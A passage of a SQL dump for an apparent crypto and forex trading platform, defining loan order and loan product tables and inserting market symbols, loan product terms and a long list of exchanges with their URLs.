`t_kline_symbol` VALUES (1332, 'mt5', 'EURTRY', 'EURTRY', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/EURTRY.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1333, 'mt5', 'BTCUSD', 'BTCUSD', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/BTCUSD.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1334, 'mt5', 'CADCNY', 'CADCNY', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/CADCNY.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1335, 'mt5', 'CNYJPY', 'CNYJPY', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/CNYJPY.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1336, 'huobi', 'xfi', 'XFI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xfinance.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1337, 'metal', 'XAU', 'XAU', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/XAU.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1338, 'metal', 'XPD', 'XPD', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/XPD.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1339, 'metal', 'XAG', 'XAG', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/XAG.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1340, 'metal', 'XAP', 'XAP', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/XAP.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + +-- ---------------------------- +-- Table structure for t_load_order +-- ---------------------------- +DROP TABLE IF EXISTS `t_load_order`; +CREATE TABLE `t_load_order` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT '主键', + `pro_id` bigint(0) NULL DEFAULT NULL COMMENT '贷款商品表id', + `user_id` bigint(0) NULL DEFAULT NULL COMMENT '用户id', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '购买时间', + `amount` decimal(18, 6) NULL DEFAULT NULL COMMENT '贷款金额', + `rate` decimal(18, 6) NULL DEFAULT NULL COMMENT '贷款利率', + `interest` decimal(18, 2) NULL DEFAULT NULL COMMENT '利息', + `status` int(0) NULL DEFAULT NULL COMMENT '0=待审核 1=审核通过 2=审核拒绝 3=已结清 4=已逾期', + `final_repay_time` datetime(0) NULL DEFAULT NULL COMMENT '最后还款日', + `disburse_time` datetime(0) NULL DEFAULT NULL COMMENT '放款日期', + `return_time` datetime(0) NULL DEFAULT NULL COMMENT '还款日期', + `disburse_amount` decimal(18, 6) NULL DEFAULT NULL COMMENT '审批金额', + `admin_parent_ids` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '后台代理ids', + `card_url` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '手持身份证', + `card_back_url` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '身份证正面', + `capital_url` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '身份证反面', + `license_url` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `order_no` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `cycle_type` int(0) NULL DEFAULT NULL COMMENT '还款周期 多少天', + `remark` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '用户备注', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `search_value` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '贷款订单' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for t_load_product +-- ---------------------------- +DROP TABLE IF EXISTS `t_load_product`; +CREATE TABLE `t_load_product` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT '主键', + `amount_min` decimal(18, 6) NULL DEFAULT NULL COMMENT '贷款最小额度', + `amount_max` decimal(18, 6) NULL DEFAULT NULL COMMENT '贷款最大额度', + `cycle_type` int(0) NULL DEFAULT NULL COMMENT '周期类型 0-7天 1-14天 2-30天 ,,,,待补充', + `repay_type` int(0) NULL DEFAULT NULL COMMENT '还款类型 0-到期一次换本息...待补充', + `status` int(0) NULL DEFAULT NULL COMMENT '状态 0 未开启 1已开启', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `remark` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '用户备注', + `search_value` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `odds` decimal(18, 6) NULL DEFAULT NULL COMMENT '日利率(%)', + `repay_org` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '还款机构', + `is_freeze` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '是否冻结 1=正常 2=冻结', + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 9 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '借贷产品表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_load_product +-- ---------------------------- +INSERT INTO `t_load_product` VALUES (6, 1000.000000, 100000.000000, 7, 0, 1, NULL, '2023-08-09 11:12:06', NULL, '2023-08-25 03:04:02', NULL, NULL, 0.160000, 'Binance', '1'); +INSERT INTO `t_load_product` VALUES (7, 1000.000000, 1000000.000000, 15, 0, 1, NULL, '2023-08-09 13:53:12', NULL, '2023-08-25 03:01:30', NULL, NULL, 0.142000, 'Binance', NULL); +INSERT INTO `t_load_product` VALUES (8, 1000.000000, 2000000.000000, 30, 0, 0, NULL, '2023-08-25 02:52:49', NULL, '2023-08-25 03:01:37', NULL, NULL, 0.133000, 'Binance', NULL); + +-- ---------------------------- +-- Table structure for t_markets +-- ---------------------------- +DROP TABLE IF EXISTS `t_markets`; +CREATE TABLE `t_markets` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT, + `slug` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '交易所名称(ID)', + `fullname` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '交易所全称', + `website_url` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '交易所官网链接', + `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '状态: [enable, disable]. disable为停止更新数据', + `kline` tinyint(0) NULL DEFAULT NULL COMMENT '是否接入K线数据', + `spot` tinyint(0) NULL DEFAULT NULL COMMENT '是否支持现货', + `futures` tinyint(0) NULL DEFAULT NULL COMMENT '是否支持期货', + `search_value` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 461 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '支持交易所' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_markets +-- ---------------------------- +INSERT INTO `t_markets` VALUES (1, 'binance-future', 'Binance Futures', 'https://www.binance.com/', 'enable', 0, 0, 1, NULL); +INSERT INTO `t_markets` VALUES (2, 'binance', 'Binance', 'https://www.binance.com/', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (3, 'upbit', 'UPbit', 'https://upbit.com/', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (4, 'gate-io-futures', 'GateIo Futures', 'https://www.gate.io/', 'enable', 0, 0, 1, NULL); +INSERT INTO `t_markets` VALUES (5, 'kraken-futures', 'Kraken Futures', 'https://futures.kraken.com', 'enable', 0, 0, 1, NULL); +INSERT INTO `t_markets` VALUES (6, 'gdax', 'Coinbase Pro', 'https://pro.coinbase.com/', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (7, 'gate-io', 'Gate.io', 'https://www.gate.io/', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (8, 'okex', 'OKX', 'https://www.okx.com/', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (9, 'kucoin', 'Kucoin', 'https://www.kucoin.com', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (10, 'bitmex', 'BitMEX', 'https://www.bitmex.com/', 'enable', 0, 0, 1, NULL); +INSERT INTO `t_markets` VALUES (11, 'kraken', 'Kraken', 'https://www.kraken.com', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (12, 'bithumb', 'Bithumb', 'https://www.bithumb.com/', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (13, 'huobipro', 'Huobi', 'https://www.huobi.com/', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (14, 'huobi-dm', 'Huobi DM', 'https://dm.huobi.com/', 'enable', 0, 0, 1, NULL); +INSERT INTO `t_markets` VALUES (15, 'paribu', 'Paribu', 'https://www.paribu.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (16, 'bitstamp', 'Bitstamp', 'https://www.bitstamp.net', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (17, 'hitbtc', 'Hitbtc', 'https://hitbtc.com', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (18, 'bitfinex', 'Bitfinex', 'https://www.bitfinex.com', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (19, 'poloniex', 'Poloniex', 'https://poloniex.com', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (20, 'coinone', 'Coinone', 'https://coinone.co.kr/', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (21, 'bigone', 'BigONE', 'https://www.bigonechina.com', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (22, 'coincheck', 'Coincheck', 'https://coincheck.com/cn/', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (23, 'p2pb2b', 'P2PB2B', 'https://p2pb2b.io/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (24, 'mxc', 'MEXC', 'https://www.mexc.com', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (25, 'bitkub', 'Bitkub', 'https://www.bitkub.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (26, 'exmo', 'Exmo', 'https://exmo.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (27, 'latoken', 'LATOKEN', 'https://latoken.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (28, 'coinex', 'CoinEx', 'https://www.coinex.com/', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (29, 'bitflyer', 'Bitflyer', 'https://bitflyer.jp/', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (30, 'yobit', 'YoBit', 'https://yobit.net', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (31, 'bitbank', 'bitbank', 'https://bitbank.cc', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (32, 'mercatox', 'Mercatox', 'https://mercatox.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (33, 'binance-us', 'Binance US', 'https://binance.us', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (34, 'bitforex', 'BitForex', 'https://www.bitforex.com/', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (35, 'gemini', 'Gemini', 'https://gemini.com/', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (36, 'bitbns', 'Bitbns', 'https://bitbns.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (37, 'bitrue', 'Bitrue', 'https://www.bitrue.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (38, 'oceanex', 'OceanEx', 'https://oceanex.pro/en', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (39, 'sushiswap', 'Sushiswap', 'https://sushiswapclassic.org', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (40, 'bybit', 'Bybit', 'https://www.bybit.com/zh-CN/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (41, 'bitso', 'Bitso', 'https://bitso.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (42, 'tradeogre', 'TradeOgre', 'https://tradeogre.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (43, 'bilaxy', 'Bilaxy', 'https://bilaxy.com/user/register?intro=1507798', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (44, 'luno', 'Luno', 'https://www.luno.com/en/exchange', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (45, 'coinsbit', 'Coinsbit', 'https://coinsbit.io/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (46, 'bithumb-global', 'Bithumb Global', 'https://www.bithumb.pro', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (47, 'digifinex', 'DigiFinex', 'https://www.digifinex.io', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (48, 'bibox', 'Bibox', 'https://www.bibox.me', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (49, 'gopax', 'GOPAX', 'https://www.gopax.co.kr', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (50, 'exmarkets', 'ExMarkets', 'https://exmarkets.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (51, 'btc-markets', 'BTCMarkets', 'https://btcmarkets.net/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (52, 'korbit', 'Korbit', 'https://www.korbit.co.kr', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (53, 'independent-reserve', 'Independent Reserve', 'https://www.independentreserve.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (54, 'tidex', 'Tidex', 'https://tidex.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (55, 'coinfield', 'CoinField', 'https://www.coinfield.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (56, 'spookyswap', 'SpookySwap', 'https://spookyswap.finance/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (57, 'bit4you', 'bit4you', 'https://www.bit4you.io/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (58, 'fatbtc', 'Fatbtc', 'https://fatbtc.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (59, 'shibaswap', 'ShibaSwap', 'https://shibaswap.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (60, 'bione-cc', 'Bione', 'https://bione.cc/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (61, 'probit', 'ProBit Global', 'https://www.probit.kr', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (62, 'zaif', 'Zaif', 'https://zaif.jp', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (63, 'cex-io', 'Cex.io', 'https://cex.io', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (64, 'wazirx', 'WazirX', 'https://wazirx.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (65, 'bitpanda', 'Bitpanda Global', 'https://www.bitpanda.com/', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (66, 'coinlist', 'Coinlist Pro', 'https://pro.coinlist.co/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (67, 'covesting', 'Covesting', 'https://covesting.io', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (68, 'cryptology', 'Cryptology', 'https://cryptology.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (69, 'stellar-decentralized-exchange', 'Stellar Decentralized Exchange', 'https://stellarterm.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (70, 'bit2c', 'Bit2C', 'https://www.bit2c.co.il', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (71, 'monster-one', 'Monster', 'https://www.mser.one', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (72, 'ethfinex', 'Ethfinex', 'https://deversifi.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (73, 'zebpay', 'Zebpay', 'https://www.zebpay.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (74, 'abcc', 'ABCC', 'https://abcc.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (75, 'bkex', 'BKEX', 'https://www.bkex.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (76, 'buda', 'Buda', 'https://www.buda.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (77, 'bequant-io', 'Bequant', 'https://bequant.io/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (78, 'satang-pro', 'Satang Pro', 'https://satang.pro/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (79, 'lbank', 'LBank', 'https://www.lbex.pro', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (80, 'bl3p', 'BL3P', 'https://bl3p.eu/trade', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (81, 'btcbox', 'BTCBOX', 'https://www.btcbox.co.jp/', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (82, 'znn', 'ZNN', 'https://www.znn.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (83, 'southxchange', 'SouthXchange', 'https://www.southxchange.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (84, 'yunex-io', 'Yunex', 'https://yunex.io/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (85, 'paymium', 'Paymium', 'https://www.paymium.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (86, 'tidebit', 'Tidebit', 'https://www.tidebit.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (87, 'newdex-io', 'Newdex', 'https://newdex.io/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (88, 'btc-trade-ua', 'BTC Trade UA', 'https://btc-trade.com.ua/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (89, 'freiexchange', 'FreiExchange', 'https://freiexchange.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (90, 'bitinka', 'Bitinka', 'https://www.bitinka.com.ar', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (91, 'koinim', 'Koinim', 'https://koinim.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (92, 'bitflyer-future', 'Bitflyer Future', 'https://bitflyer.jp/', 'enable', 0, 0, 1, NULL); +INSERT INTO `t_markets` VALUES (93, 'coinfalcon', 'CoinFalcon', 'https://coinfalcon.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (94, 'coingi', 'Coingi', 'https://coingi.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (95, 'compound', 'Compound', 'https://app.compound.finance/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (96, 'bgogo', 'Bgogo', 'https://bgogo.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (97, 'tdax', 'TDAX', 'https://tdax.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (98, '0i', '0i', 'https://www.0i.com/index', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (99, 'huobius', 'Huobi US', 'https://www.huobi.us/', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (100, '2100bit', '2100BIT', 'https://www.2100bit.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (101, 'icbc', 'ICBC', NULL, 'enable', 0, 0, 0, NULL); +INSERT INTO `t_markets` VALUES (102, '55-global-markets', '55 Global Markets', 'https://www.55.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (103, 'icoinbay', 'iCoinbay', 'https://www.icoinbay.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (104, '58coin', '58COIN', 'https://www.58coin.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (105, 'idax', 'IDAX', 'https://www.idax.pro', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (106, '66otc', '66OTC', 'https://www.66otc.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (107, 'idbex', 'Idbex', 'https://www.idbex.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (108, '9coin', '9coin', 'https://www.9coin.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (109, 'idcm-io', 'IDCM', 'https://www.idcm.io/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (110, 'aacoin', 'AAcoin', 'https://www.aacoin.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (111, 'idex', 'IDEX', 'https://idex.market', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (112, 'abchina', 'ABChina', NULL, 'enable', 0, 0, 0, NULL); +INSERT INTO `t_markets` VALUES (113, 'indodax', 'Indodax', 'https://indodax.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (114, 'abucoins', 'Abucoins', 'https://abucoins.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (115, 'infinitycoin-exchange', 'InfinityCoin Exchange', 'https://infinitycoin.exchange/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (116, 'acx-io', 'Acx', 'https://acx.io/', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (117, 'instant-bitex', 'Instant Bitex', 'https://instantbitex.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (118, 'aex', 'AEX', 'https://www.aex.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (119, 'iquant', 'Iquant', 'https://www.5iquant.org/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (120, 'aidos-market', 'AidosMarket', 'https://aidosmarket.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (121, 'isx', 'ISX', 'https://beta.isx.is', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (122, 'airswap', 'AirSwap', 'https://www.airswap.io/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (123, 'itbit', 'itBit', 'https://www.itbit.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (124, 'allbit', 'Allbit', 'https://allbit.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (125, 'keepbtc', 'KeepBTC', 'https://www.keepbtc.net', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (126, 'allcoin', 'Allcoin', 'https://www.allcoin.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (127, 'kex', 'KEX', 'https://kex.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (128, 'altcoin-trader', 'Altcoin Trader', 'https://www.altcointrader.co.za/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (129, 'koineks', 'Koineks', 'https://koineks.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (130, 'altilly', 'Altilly', 'https://www.altilly.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (131, 'koinex', 'Koinex', 'https://koinex.in/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (132, 'anxpro', 'ANXPRO', 'https://anxpro.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (133, 'aoex', 'Aoex', 'https://www.aoex.com/index', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (134, 'aubtc-io', 'Aubtc', 'https://aubtc.io/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (135, 'b-ex', 'B-Ex', 'https://b-ex.io/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (136, 'b2bx', 'B2BX', 'https://www.b2bx.exchange/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (137, 'kryptono', 'Kryptono', 'https://kryptono.exchange/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (138, 'bancor-network', 'Bancor Network', 'https://www.bancor.network/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (139, 'bankcomm', 'Bank Of Communications', NULL, 'enable', 0, 0, 0, NULL); +INSERT INTO `t_markets` VALUES (140, 'kuna', 'Kuna', 'https://kuna.io', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (141, 'bankofamerica', 'Bank Of America', NULL, 'enable', 0, 0, 0, NULL); +INSERT INTO `t_markets` VALUES (142, 'kyber-network', 'Kyber Network', 'https://kyber.network/swap', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (143, 'bankofchina', 'Bank Of China', NULL, 'enable', 0, 0, 0, NULL); +INSERT INTO `t_markets` VALUES (144, 'lakebtc', 'LakeBTC', 'https://www.lakebtc.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (145, 'bao-top', 'Bao', 'https://www.bao.top', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (146, 'bbang-one', 'Bbang', 'https://www.bbang.one/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (147, 'bcex', 'BCEX', 'https://www.bcex.ca/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (148, 'leoxchange', 'LEOxChange', 'https://leoxchange.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (149, 'bcoin-sg', 'BCoin.sg', 'https://www.bcoin.sg/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (150, 'liqui', 'Liqui', 'https://liqui.io/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (151, 'be-top', 'BE.TOP', 'https://www.be.top/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (152, 'litebit', 'LiteBit.eu', 'https://www.litebit.eu/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (153, 'becent', 'Becent', 'https://www.becent.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (154, 'livecoin', 'LiveCoin', 'https://www.livecoin.net/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (155, 'lmex-top', 'LMEX', 'https://www.lmex.top/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (156, 'bgj-io', 'bgj.io', 'https://bgj.io', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (157, 'localbitcoins', 'Localbitcoins', 'https://localbitcoins.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (158, 